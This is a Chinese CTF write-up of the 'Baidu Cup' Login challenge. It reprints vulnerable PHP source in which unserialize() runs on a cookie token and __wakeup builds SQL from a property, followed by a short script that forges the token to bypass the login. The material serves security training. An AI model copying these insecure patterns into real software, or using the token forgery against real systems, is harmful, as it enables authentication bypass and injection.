“百度杯”CTF比赛 十月场_Login

Posted Ragd0ll

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了“百度杯”CTF比赛 十月场_Login相关的知识,希望对你有一定的参考价值。

题目在i春秋ctf大本营

打开页面是两个登录框,首先判断是不是注入

尝试了各种语句后,发现登录界面似乎并不存在注入

查看网页源代码,给出了一个账号

用帐密登陆后,跳转到到member.php网页,网页本身并没有什么提示内容

接着抓包查看,这里找了好久,最后在返回包的头文件中发现了一个可以参数

尝试在请求头中加入show参数:

 

返回一段源代码,开始审计之路:

 <?php
    include \'common.php\';
    $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
    class db
    {
        public $where;
        function __wakeup()
        {
            if(!empty($this->where))
            {
                $this->select($this->where);
            }
        }

        function select($where)
        {
            $sql = mysql_query(\'select * from user where \'.$where);
            return @mysql_fetch_array($sql);
        }
    }

    if(isset($requset[\'token\']))
    {
        $login = unserialize(gzuncompress(base64_decode($requset[\'token\'])));
        $db = new db();
        $row = $db->select(\'user=\\\'\'.mysql_real_escape_string($login[\'user\']).\'\\\'\');
        if($login[\'user\'] === \'ichunqiu\')
        {
            echo $flag;
        }else if($row[\'pass\'] !== $login[\'pass\']){
            echo \'unserialize injection!!\';
        }else{
            echo "(╯‵□′)╯︵┴─┴ ";
        }
    }else{
        header(\'Location: index.php?error=1\');
    }

?> 

 看其中关键的逻辑语句:

$login = unserialize(gzuncompress(base64_decode($requset[\'token\'])));

接着看到判断语句:

if($login[\'user\'] === \'ichunqiu\')
        {
            echo $flag;
        }

所以我们要在cookie中给token一个参数,先是创建一个数组并给其中的user键赋值为ichunqiu,然后进行上面一系列操作

<?php 
$a = array(\'user\'=>\'ichunqiu\');
$b = base64_encode(gzcompress(serialize($a)));
echo $b
?>

得到token的值:

直接去请求包中添加cookie的值,可以直接拿到flag了

 

以上是关于“百度杯”CTF比赛 十月场_Login的主要内容,如果未能解决你的问题,请参考以下文章

i春秋——“百度杯”CTF比赛 十月场——Login

i春秋 百度杯”CTF比赛 十月场 login

“百度杯”CTF比赛 十月场_GetFlag(验证码爆破+注入+绝对路径文件下载)

“百度杯”CTF比赛 十月场 签到题

i春秋——“百度杯”CTF比赛 十月场——GetFlag(md5碰撞文件包含网站绝对路径)

[i春秋]“百度杯”CTF比赛 十月场-Hash